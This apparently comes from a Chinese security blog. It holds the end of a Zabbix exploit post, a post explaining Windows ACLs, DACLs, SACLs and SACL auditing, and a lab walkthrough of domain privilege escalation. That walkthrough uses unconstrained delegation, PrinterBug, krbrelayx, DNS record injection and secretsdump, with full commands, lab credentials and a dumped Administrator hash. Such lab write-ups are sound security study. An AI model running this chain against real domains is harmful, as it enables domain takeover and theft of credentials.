<div class="highlight"><pre><span></span><code><span class="nv">ZABIX_ROOT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>sys.argv<span class="o">[</span><span class="m">1</span><span class="o">]</span>
<span class="nv">hostid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>sys.argv<span class="o">[</span><span class="m">2</span><span class="o">]</span>
</code></pre></div>
<p>hostid可以在此处获得:</p>
<p><img alt="1610343532085" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/lJZSXxwsWd.jpg"></p>
<p>另外脚本中的<code>scriptid</code>,需要是一个已经存在的id,我们可以先手动创建一个,然后更改脚本里的值</p>
<p><img alt="1610343637289" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WpLWjdXqOU.jpg"></p>
<p><img alt="1610343669340" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cohjrNzrGz.jpg"></p>
<p>获取到scriptid之后,将利用脚本中的script替换一下即可,把下面这两个地方替换掉即可</p>
<p><img alt="1610343715569" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/rZlNWnzHZA.jpg"></p>
<p>执行效果</p>
<p><img alt="1610344058531" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/TXHANUfsJK.jpg"></p>windows ACL、DACL、SACL、ACE2021-01-07T00:00:00+01:002021-01-07T00:00:00+01:0012138tag:None,2021-01-07:windows-acl-dacl-sacl-ace.html<p>参考文章:</p>
<p><a href="https://secureidentity.se/acl-dacl-sacl-and-the-ace/">https://secureidentity.se/acl-dacl-sacl-and-the-ace/</a></p>
<p>其实windows ACL、DACL、SACL、ACE的关系很好解释</p>
<p>ACL分为两种,DACL和SACL,而DACL和SACL又由一个个的ACE构成</p>
<p>DACL主要用于设置用户以及用户组对安全对象的访问权限</p>
<p>SACL用于配置对安全对象的访问的审计(生成日志)</p>
<p>下面我们详细介绍</p>
<p>本文章会描述ACL是啥,以及其所有的组件以及 …</p><p>参考文章:</p>
<p><a href="https://secureidentity.se/acl-dacl-sacl-and-the-ace/">https://secureidentity.se/acl-dacl-sacl-and-the-ace/</a></p>
<p>其实windows ACL、DACL、SACL、ACE的关系很好解释</p>
<p>ACL分为两种,DACL和SACL,而DACL和SACL又由一个个的ACE构成</p>
<p>DACL主要用于设置用户以及用户组对安全对象的访问权限</p>
<p>SACL用于配置对安全对象的访问的审计(生成日志)</p>
<p>下面我们详细介绍</p>
<p>本文章会描述ACL是啥,以及其所有的组件以及他们是如何使用的</p>
<p>在windows中,你可以委派访问到不同的安全对象中,</p>
<p>安全对象拥有一个安全描述符(SD)</p>
<p>SD用于控制该对象的访问,它包含了对象所有者的信息,以及什么需要被审计和通过什么样的方式进行权限的允许</p>
<p>它包含了真正的用于设置安全权限的ACL,在AD中,所有的对象都具有DS</p>
<p>常见的安全对象如下:</p>
<ul>
<li>NTFS文件系统中的文件和文件夹</li>
<li>互动目录对象</li>
<li>注册表中的键</li>
<li>网络共享</li>
<li>本地或者远程打印机</li>
<li>windows 服务</li>
<li>命名管道</li>
<li>匿名管道</li>
<li>进程</li>
<li>线程</li>
<li>文件映射对象</li>
<li>访问令牌</li>
<li>windows管理对象(windows工作站或者桌面)</li>
<li>进程间同步对象(事件、互斥对象、信号量、可等待定时器)</li>
<li>Job对象</li>
<li>分布式组件对象模型对象</li>
</ul>
<p>现在我们知道了我们要保护的究竟都是些什东西之后,我来带大家彻底了解一下ACL以及其组件是如何在文件系统和AD中工作的</p>
<h1>ACL ——access control list</h1>
<p>ACL是一堆ACE的有序列表,他定义了应用到一个对象和对象属性的保护</p>
<p>每一个ACE标识一个安全实体,并指定了访问权限的集合,访问权限包括allowed、denied、audited</p>
<p>一个对象的SD一般包含两个ACL</p>
<ul>
<li>DACL 标志用户和用户组的allowed或者denied权限</li>
<li>SACL 控制访问如何进行audited</li>
</ul>
<p>当一个用户试图访问一个文件时,window系统会运行一个AccessCheck并对用户的access token和该文件的SD进行对比,然后评估该用户是否拥有相应的权限,拥有什么样的权限取决于ACE集合</p>
<h1>DACL——Discretionary Access Control List</h1>
<p>自主访问控制列表</p>
<p>DACL标志了用户和用户组所赋予的针对某个对象的权限</p>
<p>它包含了一个ACE对列表(Account + AccessRight)</p>
<p>大概类似于这种形式</p>
<p><img alt="1610014139219" src="windows ACL、DACL、SACL、ACE.assets/1610014139219.png"></p>
<h1>SACL——System Access Control List</h1>
<p>SACL使得监控对安全对象的访问变得可能</p>
<p><strong>SACL中的ACE决定了决定了什么类型的访问会被记录到安全日志中</strong></p>
<p>配合监控工具,如果有恶意用户试图访问安全对象,可以对管理员发起警报</p>
<p>这个在AD中将会很有用,恶意用户可能会在不经意中触发警报,以便管理员及时发现风险</p>
<p>另外,除了用在预防攻击上面,也可以作为一种防范意外情况的手段,如果发生了误操作,可以根据日志记录,来进行还原,</p>
<p>可以通过该日志用来进行access issues的trobleshoot</p>
<h1>ACE——Access Control Entries</h1>
<p><strong>ACE是最终描述安全实体对安全对象的访问权限的东西</strong></p>
<p>DACL和SACL会包含很多ACE</p>
<p>ACE包含如下访问控制信息: </p>
<ul>
<li>用于标志用户或者用户组的SID</li>
<li>用于指定访问权限的access mask</li>
<li>一系列比特位(bit flag),这些比特位用于决定子对象是否集成父对象的ACE</li>
<li>一个标明ACE类型的flag</li>
</ul>
<p>一共有两种ACE集合</p>
<h2>Generic ACE</h2>
<p>拥有以下几种类型</p>
<ul>
<li>显式allow ACE</li>
<li>显式deny ACE</li>
<li>generic deny ACE</li>
<li>generic allow ACE</li>
<li>inherited deny ACE</li>
<li>inherited allow ACE</li>
<li>Audit allow和deny ACE</li>
</ul>
<p>Deny ACE的优先级总是高于Allow ACE</p>
<p>inherited deny ACE也是这样</p>
<p>但是如果你对子对象设置了一个explicit allow ACE(显式Allow ACE),那么子对象继承成来的ACE就不再起作用了,你设置的显式Allow ACE拥有更高的优先级</p>
<p>EXplicit Deny也拥有较高的优先级(相对于allow)</p>
<p>在windows系统中,对文件或者文件夹的访问权限是在NTFS文件系统中进行设置的</p>
<p>当一个用户尝试去访问一个文件或者文件夹的时候,该用户的access token就会和该文件的DACL进行对比,如果访问列表中的SID列表中没有任何一条和ACE中匹配,那么这个用户机会被explicit denied acces</p>
<p>如果有任何一条匹配的,就会按照如下规则就行权限的判定</p>
<ul>
<li>Explicit deny</li>
<li>Explicit allow</li>
<li>Inherited deny</li>
<li>Inherited allow</li>
</ul>
<h2>Object-Specific ACE——特定对象的ACE</h2>
<p>在AD中,有一种额外的ACE集合,叫做object-specific ACE</p>
<p>这两种ACE有着相同的特性,不同的是,object-specific能够提供更高级别的安全性(粒度)</p>
<p>object-specific ACE拥有以下几种类型</p>
<ul>
<li>object-specific deny ACE</li>
</ul>
<p>‒拒绝访问Active Directory对象上的属性</p>
<p>‒拒绝访问Active Directory对象上的属性集</p>
<p>‒基于子对象的SID将ACE继承限制为指定类型的子对象</p>
<ul>
<li>object-specific allow ACE</li>
</ul>
<p>同上,拒绝改为允许</p>
<ul>
<li>object-specific System-Audit ACE</li>
</ul>
<p>‒ 对属性和属性集的访问进行记录,或者限制对特定类型子对象的继承</p>
<p>LSA评估ACL列表中的ACE的顺序为Explicit Deny、Explicit Allow、继承Deny、继承Allow</p>
<p>当一个用户试图访问AD中的一个对象时,LSA会获取用户的access token,安全子系统会拿用户的SID、所属用户组SID和访问对象的DACL中的ACE来判断权限是deny还是granted</p>
<p>找不到匹配的SID,则用户对该对象的访问会被拒绝</p>
<p>如果用户对AD中的对象有访问和更改权限,那么对该对象的更改会被审计,并会在安全日志中留下记录</p>
<h1>可视化</h1>
<p>为了可视化上面提到的所有东西,我会展示几张图片</p>
<p>我们以文件系统为例</p>
<p>下面是ACL、DACL和ACE在文件夹的安全选项卡中的典型形式:</p>
<p><img alt="1610013978417" src="windows ACL、DACL、SACL、ACE.assets/1610013978417.png"></p>
<p>点击<strong>高级</strong>(advanced)按钮,我们会获取到更多的选项,比如继承</p>
<p><img alt="1610014062110" src="windows ACL、DACL、SACL、ACE.assets/1610014062110.png"></p>
<h1>使用SACL对object进行监控</h1>
<p>我们以监控单个文件为例</p>
<p>我们在使用SACL对安全对象进行监控之前,需要先设置组策略启用<code>audit object access</code>,这里我们设置的是对成功访问的审计(只对访问成功的事件进行记录)</p>
<p><img alt="1610012809927" src="windows ACL、DACL、SACL、ACE.assets/1610012809927.png"></p>
<p>然后在文件的安全选项卡中进行SACL的配置</p>
<p>我们这里配置对<code>C:\Users\123\AppData\Local\Tep\test_file.txt</code>文件的读取行为进行监控</p>
<p><strong><img alt="1610013012152" src="windows ACL、DACL、SACL、ACE.assets/1610013012152.png"></strong></p>
<p>SACL配置完成之后可能会产生的日志</p>
<p>4656(S, F): A handle to an object was requested.</p>
<p>4658(S): The handle to an object was closed.</p>
<p>4660(S): An object was deleted.</p>
<p>4663(S): An attempt was made to access an object.</p>
<p>4664(S): An attempt was made to create a hard link.</p>
<p>4985(S): The state of a transaction has changed.</p>
<p>5051(-): A file was virtualized.</p>
<p>4670(S): Permissions on an object were changed.</p>
<p>用记事本打开该文件,可以查看到如下日志:</p>
<p><img alt="1610013245325" src="windows ACL、DACL、SACL、ACE.assets/1610013245325.png"></p>
<p>上面我们只设置了监控文件的read,但是此时如果我们使用python写个脚本去读取内容,是不会产生日志的</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span>
<span class="c1"># Define a filename.</span>
<span class="n">filename</span> <span class="o">=</span> <span class="s2">"C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">123</span><span class="se">\\</span><span class="s2">AppData</span><span class="se">\\</span><span class="s2">Local</span><span class="se">\\</span><span class="s2">Temp</span><span class="se">\\</span><span class="s2">test_file.txt"</span>
<span class="c1"># Open the file as f.</span>
<span class="c1"># The function readlines() reads the file.</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="c1"># Show the file contents line by line.</span>
<span class="c1"># We added the comma to print single newlines and not double newlines.</span>
<span class="c1"># This is because the lines contain the newline character '\n'.</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">content</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line</span><span class="p">),</span>
</code></pre></div>
<p>要想监控到,需要同时勾选上下面这个选项</p>
<p><img alt="1610013551951" src="windows ACL、DACL、SACL、ACE.assets/1610013551951.png"></p>
<p>此时再使用脚本读取该文件,就会产生日志</p>
<p><img alt="1610013621359" src="windows ACL、DACL、SACL、ACE.assets/1610013621359.png"></p>
<p>在windows AD中,SACL的用途以及选项会比工作组多很多,下面是一个OU的ACL相关的截图</p>
<p><img alt="1610014712881" src="windows ACL、DACL、SACL、ACE.assets/1610014712881.png"></p>非约束委派账户配合printerbug域内提权2020-12-24T00:00:00+01:002020-12-24T00:00:00+01:0012138tag:None,2020-12-24:fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html<p>参考链接:</p>
<ul>
<li><a href="https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/">https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/</a></li>
<li><a href="https://github.com/dirkjanm/krbrelayx/issues/9">https://github.com/dirkjanm/krbrelayx/issues/9</a></li>
<li><a href="https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/">https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/</a></li>
</ul>
<h1>基本原理</h1>
<p>这里不对非约束委派的具体细节进行深究,这里只讲一下利 …</p><p>参考链接:</p>
<ul>
<li><a href="https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/">https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/</a></li>
<li><a href="https://github.com/dirkjanm/krbrelayx/issues/9">https://github.com/dirkjanm/krbrelayx/issues/9</a></li>
<li><a href="https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/">https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/</a></li>
</ul>
<h1>基本原理</h1>
<p>这里不对非约束委派的具体细节进行深究,这里只讲一下利用的原理,如果你想了解数据包层面的原理分析,请移步至这篇文章:<a href="https://144.one/kerberosfei-yue-shu-wei-pai-shu-ju-bao-fen-xi.html">Kerberos非约束委派数据包分析</a></p>
<ul>
<li>域内的用户A在访问由非约束委派账户B运行的服务S</li>
<li>向KDC请求服务票据</li>
<li>KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据</li>
<li>该票据由服务账户也就是非约束委派账户B的hash进行加密</li>
<li>用户A向其请求的服务器发送带有其TGT的服务票据</li>
<li>服务器拿到后使用服务账户B解密即可获得用户A的TGT</li>
</ul>
<p>如果这里的A是域管理员或者域控制器的机器账户,那么我们就有可能获得整个域的管理权限</p>
<h1>域环境</h1>
<p>在执行到最后一步,也就是触发printerbug的时候,发现总是报<code>SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND</code>,在krbrelay项目的issues里翻了翻,找到了相关问题:<a href="https://github.com/dirkjanm/krbrelayx/issues/9">https://github.com/dirkjanm/krbrelayx/issues/9</a>,在server 2008全版本以及server 2012中即使启用了Printer Spool服务,也依然无法访问到<code>spoolss</code>命名管道,因为它不在RPC中暴露该服务,因此下面的操作虽然是在server 2008上执行的,但是大家复现的时候要在server 2012 R2上进行操作</p>
<p>域控:</p>
<ul>
<li>Windows Server 2012 R2</li>
<li>domain1.com</li>
</ul>
<p>内网脱域linux主机:</p>
<ul>
<li>centos7</li>
<li>root / 1234</li>
</ul>
<p>需要关闭selinux,不然krbrelay开放的端口无法被外部访问,禁用方法参考<a href="https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/">https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/</a>,最后还要再执行一下<code>iptables -F</code>清除防火墙规则</p>
<p>非约束委派账户:</p>
<ul>
<li>ohyeah / OMG Step Bro I'm stuck</li>
</ul>
<p>已经获得的一个低权限的域内账户:</p>
<ul>
<li>low_prv / easyp@ss123</li>
</ul>
<h1>创建非约束委派账户</h1>
<p>为该账户注册spn:</p>
<p><code>setspn -U -A servicetype/somecomputer:somport/servicename ohyeah</code></p>
<p>这里只用作演示,SPN是乱写的,只要符合格式即可<code><service class>/<host>:<port>/<service name></code></p>
<p><img alt="1608622270659" src="非约束委派账户配合printbug域内提权.assets/1608622270659.png"></p>
<p>注册完成之后,ohyeah账户的属性中会出现<strong>委派</strong>选项卡,勾选第二个即可</p>
<p><img alt="1608622366023" src="非约束委派账户配合printbug域内提权.assets/1608622366023.png"></p>
<p>当然在实战环境中,我们需要自己定位非约束委派账户,使用<a href="https://dirkjanm.io/">dirkjanm</a>的<a href="https://github.com/dirkjanm/ldapdomaindump">ldapdomaindump</a>工具可以查找域内的非约束委派账户:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@localhost<span class="w"> </span>ldapdomaindump<span class="o">]</span><span class="c1"># python3 ldapdomaindump.py -u domain1\\low_prv -p easyp@ss123 192.168.60.138</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Connecting<span class="w"> </span>to<span class="w"> </span>host...
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Binding<span class="w"> </span>to<span class="w"> </span>host
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Bind<span class="w"> </span>OK
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Starting<span class="w"> </span>domain<span class="w"> </span>dump
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Domain<span class="w"> </span>dump<span class="w"> </span>finished
<span class="o">[</span>root@localhost<span class="w"> </span>ldapdomaindump<span class="o">]</span><span class="c1"># grep TRUSTED_FOR_DELEGATION domain_users.grep</span>
ohyeah<span class="w"> </span>ohyeah<span class="w"> </span>ohyeah<span class="w"> </span>Domain<span class="w"> </span>Users<span class="w"> </span><span class="m">12</span>/22/20<span class="w"> </span><span class="m">06</span>:52:40<span class="w"> </span><span class="m">12</span>/22/20<span class="w"> </span><span class="m">07</span>:33:20<span class="w"> </span><span class="m">12</span>/22/20<span class="w"> </span><span class="m">07</span>:14:59<span class="w"> </span>NORMAL_ACCOUNT,<span class="w"> </span>DONT_EXPIRE_PASSWD,<span class="w"> </span>TRUSTED_FOR_DELEGATION<span class="w"> </span><span class="m">12</span>/22/20<span class="w"> </span><span class="m">06</span>:52:40<span class="w"> </span>S-1-5-21-907132375-727761492-2815538385-1104
</code></pre></div>
<p>至于通过什么样的手段去获得该非约束委派账户的密码以及内网的linux服务器权限这里就不细讲了,没有固定的方法,这取决于各位在内网中进行信息搜集的和凭证获取的能力</p>
<p>然后我们用这个非约束委派账户再去注册一个SPN,主机就是我们已经控制的centos7,这里我们可以通过代理使用<code>addspn.py</code>进行SPN的注册,该脚本是<a href="https://dirkjanm.io/">dirkjanm</a>工具集<a href="https://github.com/dirkjanm/krbrelayx">krbrelayx</a>中的其中一个</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>python<span class="w"> </span>addspn.py<span class="w"> </span>-u<span class="w"> </span>domain1.com<span class="se">\o</span>hyeah<span class="w"> </span>-p<span class="w"> </span><span class="s2">"OMG Step Bro I'm stuck"</span><span class="w"> </span>-s<span class="w"> </span>HOST/whatthefuck.domain1.com<span class="w"> </span>ldap://192.168.60.138
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Connecting<span class="w"> </span>to<span class="w"> </span>host...
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Binding<span class="w"> </span>to<span class="w"> </span>host
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Bind<span class="w"> </span>OK
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Found<span class="w"> </span>modification<span class="w"> </span>target
<span class="o">[</span>!<span class="o">]</span><span class="w"> </span>Could<span class="w"> </span>not<span class="w"> </span>modify<span class="w"> </span>object,<span class="w"> </span>the<span class="w"> </span>server<span class="w"> </span>reports<span class="w"> </span>insufficient<span class="w"> </span>rights:<span class="w"> </span><span class="m">00002098</span>:<span class="w"> </span>SecErr:<span class="w"> </span>DSID-03150BB9,<span class="w"> </span>problem<span class="w"> </span><span class="m">4003</span><span class="w"> </span><span class="o">(</span>INSUFF_ACCESS_RIGHTS<span class="o">)</span>,<span class="w"> </span>data<span class="w"> </span><span class="m">0</span>
</code></pre></div>
<p>提示我们当前账户缺少适当的权限进行SPN的注册,一般情况下,非约束委派账户都是拥有对SPN的读写权限的,因此我们进行如下设置</p>
<p><img alt="1608722840620" src="非约束委派账户配合printbug域内提权.assets/Capture.PNG"></p>
<p>至此,非约束委派账户创建完毕</p>
<h1>使用非约束委派账户注册SPN</h1>
<p>再次进行注册,其中<code>192.168.60.138</code>是域控制器地址:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>python<span class="w"> </span>addspn.py<span class="w"> </span>-u<span class="w"> </span>domain1.com<span class="se">\o</span>hyeah<span class="w"> </span>-p<span class="w"> </span><span class="s2">"OMG Step Bro I'm stuck"</span><span class="w"> </span>-s<span class="w"> </span>HOST/whatthefuck.domain1.com<span class="w"> </span>ldap://192.168.60.138
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Connecting<span class="w"> </span>to<span class="w"> </span>host...
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Binding<span class="w"> </span>to<span class="w"> </span>host
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Bind<span class="w"> </span>OK
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Found<span class="w"> </span>modification<span class="w"> </span>target
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>SPN<span class="w"> </span>Modified<span class="w"> </span>successfully
</code></pre></div>
<h1>添加DNS记录</h1>
<p>然后我们要把刚才注册的SPN中的域名<code>whatthefuck.domain1.com</code>指向我们已经控制的centos7,使用<code>dnstoo.py</code>可以完成该操作</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>python<span class="w"> </span>dnstool.py<span class="w"> </span>-u<span class="w"> </span>domain1.com<span class="se">\l</span>ow_prv<span class="w"> </span>-p<span class="w"> </span>easyp@ss123<span class="w"> </span>-r<span class="w"> </span>whatthefuck.domain1.com<span class="w"> </span>-a<span class="w"> </span>add<span class="w"> </span>-d<span class="w"> </span><span class="m">192</span>.168.60.228<span class="w"> </span><span class="m">192</span>.168.60.138
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Connecting<span class="w"> </span>to<span class="w"> </span>host...
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Binding<span class="w"> </span>to<span class="w"> </span>host
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Bind<span class="w"> </span>OK
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Adding<span class="w"> </span>new<span class="w"> </span>record
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>LDAP<span class="w"> </span>operation<span class="w"> </span>completed<span class="w"> </span>successfully
</code></pre></div>
<p>添加之后,<code>whatthefuck.domain1.com</code>就会解析到我们的cnetos7的IP:<code>192.168.60.228</code>,这个记录最迟会在3分钟后生效,因为ADIDNS从LDAP中刷新纪录是有时间间隔的</p>
<p><img alt="1608724409931" src="非约束委派账户配合printbug域内提权.assets/1608724409931.png"></p>
<p><img alt="1608724995214" src="非约束委派账户配合printbug域内提权.assets/1608724995214.png"></p>
<h1>开启Kerberos中继</h1>
<p>下面我们在centos7上开启krbrelay,这一步就没办法通过代理操作了,只能在改linux上进行操作,一般情况下linux服务器的80端口(httpd)都是开着的,因此我们需要对<code>krbrelayx.py</code>的http服务监听端口进行更改,在94行添加<code>c.setListeningPort(12138)</code>即可:</p>
<p><img alt="1608725890249" src="非约束委派账户配合printbug域内提权.assets/1608725890249.png"></p>
<p>然后开启krbrelay,-s参数的值就是salt,格式为<strong>域名全大写+用户名</strong></p>
<p>开始使用的是python2,但是报了编码相关的错误,如果大家遇到了这种错误,可以尝试一下python3,应该能解决问题</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@localhost<span class="w"> </span>krbrelayx-master<span class="o">]</span><span class="c1"># python3 krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Protocol<span class="w"> </span>Client<span class="w"> </span>LDAP<span class="w"> </span>loaded..
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Protocol<span class="w"> </span>Client<span class="w"> </span>LDAPS<span class="w"> </span>loaded..
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Protocol<span class="w"> </span>Client<span class="w"> </span>SMB<span class="w"> </span>loaded..
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Running<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="nb">export</span><span class="w"> </span>mode<span class="w"> </span><span class="o">(</span>all<span class="w"> </span>tickets<span class="w"> </span>will<span class="w"> </span>be<span class="w"> </span>saved<span class="w"> </span>to<span class="w"> </span>disk<span class="o">)</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Setting<span class="w"> </span>up<span class="w"> </span>SMB<span class="w"> </span>Server
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Setting<span class="w"> </span>up<span class="w"> </span>HTTP<span class="w"> </span>Server
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Servers<span class="w"> </span>started,<span class="w"> </span>waiting<span class="w"> </span><span class="k">for</span><span class="w"> </span>connections
</code></pre></div>
<h1>利用printerbug触发DC回连</h1>
<p>一切准备就绪,现在只需要用printerbug漏洞触发域控制器向我们发起访问即可</p>
<div class="highlight"><pre><span></span><code><span class="n">python</span><span class="w"> </span><span class="n">printerbug</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="n">DOMAIN1</span><span class="o">/</span><span class="n">ohyeah</span><span class="o">:</span><span class="s">"OMG Step Bro I'm stuck"</span><span class="mf">@192.168.60.138</span><span class="w"> </span><span class="n">whatthefuck</span><span class="p">.</span><span class="n">domain1</span><span class="p">.</span><span class="n">com</span>
</code></pre></div>
<p>krbrelay收到来自DC的连接:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@localhost<span class="w"> </span>krbrelayx<span class="o">]</span><span class="c1"># python3 krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Protocol<span class="w"> </span>Client<span class="w"> </span>LDAPS<span class="w"> </span>loaded..
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Protocol<span class="w"> </span>Client<span class="w"> </span>LDAP<span class="w"> </span>loaded..
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Protocol<span class="w"> </span>Client<span class="w"> </span>SMB<span class="w"> </span>loaded..
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Running<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="nb">export</span><span class="w"> </span>mode<span class="w"> </span><span class="o">(</span>all<span class="w"> </span>tickets<span class="w"> </span>will<span class="w"> </span>be<span class="w"> </span>saved<span class="w"> </span>to<span class="w"> </span>disk<span class="o">)</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Setting<span class="w"> </span>up<span class="w"> </span>SMB<span class="w"> </span>Server
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Setting<span class="w"> </span>up<span class="w"> </span>HTTP<span class="w"> </span>Server
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Servers<span class="w"> </span>started,<span class="w"> </span>waiting<span class="w"> </span><span class="k">for</span><span class="w"> </span>connections
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>SMBD:<span class="w"> </span>Received<span class="w"> </span>connection<span class="w"> </span>from<span class="w"> </span><span class="m">192</span>.168.60.138
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Got<span class="w"> </span>ticket<span class="w"> </span><span class="k">for</span><span class="w"> </span>WIN-4T6K0ODHA2F<span class="nv">$@</span>DOMAIN1.COM<span class="w"> </span><span class="o">[</span>krbtgt@DOMAIN1.COM<span class="o">]</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Saving<span class="w"> </span>ticket<span class="w"> </span><span class="k">in</span><span class="w"> </span>WIN-4T6K0ODHA2F<span class="nv">$@</span>DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>SMBD:<span class="w"> </span>Received<span class="w"> </span>connection<span class="w"> </span>from<span class="w"> </span><span class="m">192</span>.168.60.138
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Unsupported<span class="w"> </span>MechType<span class="w"> </span><span class="s1">'NTLMSSP - Microsoft NTLM Security Support Provider'</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>SMBD:<span class="w"> </span>Received<span class="w"> </span>connection<span class="w"> </span>from<span class="w"> </span><span class="m">192</span>.168.60.138
<span class="o">[</span>-<span class="o">]</span><span class="w"> </span>Unsupported<span class="w"> </span>MechType<span class="w"> </span><span class="s1">'NTLMSSP - Microsoft NTLM Security Support Provider'</span>
</code></pre></div>
<p>至此我们已经获取到了DC的机器账户<code>WIN-4T6K0ODHA2F$</code>的TGT:<code>WIN-4T6K0ODHA2F$@DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache</code></p>
<h1>提升至域控权限</h1>
<p>设置环境变量,那个ccache文件又长还带了一个$,我干脆把它重命名为123.ccache:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@localhost<span class="w"> </span>krbrelayx<span class="o">]</span><span class="c1"># mv *.ccache 123.ccache</span>
<span class="o">[</span>root@localhost<span class="w"> </span>krbrelayx<span class="o">]</span><span class="c1"># export KRB5CCNAME=/tmp/tmp/krbrelayx/123.ccache</span>
</code></pre></div>
<p>在<code>/etc/hosts</code>文件中添加如下两行记录用于解析域名:</p>
<div class="highlight"><pre><span></span><code><span class="m">192</span>.168.60.138<span class="w"> </span>win-4t6k0odha2f.domain1.com
<span class="m">192</span>.168.60.138<span class="w"> </span>domain1.com
</code></pre></div>
<p>然后使用<code>secretsdump.py</code>获取指定域用户的hash,比如administrator:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@localhost<span class="w"> </span>krbrelayx<span class="o">]</span><span class="c1"># secretsdump.py -no-pass -k win-4t6k0odha2f.domain1.com -just-dc-user administrator -just-dc-ntlm</span>
Impacket<span class="w"> </span>v0.9.22<span class="w"> </span>-<span class="w"> </span>Copyright<span class="w"> </span><span class="m">2020</span><span class="w"> </span>SecureAuth<span class="w"> </span>Corporation
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Dumping<span class="w"> </span>Domain<span class="w"> </span>Credentials<span class="w"> </span><span class="o">(</span>domain<span class="se">\u</span>id:rid:lmhash:nthash<span class="o">)</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Using<span class="w"> </span>the<span class="w"> </span>DRSUAPI<span class="w"> </span>method<span class="w"> </span>to<span class="w"> </span>get<span class="w"> </span>NTDS.DIT<span class="w"> </span>secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:061c54f1f5311e1f47958465e16bab65:::
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Cleaning<span class="w"> </span>up...
</code></pre></div>
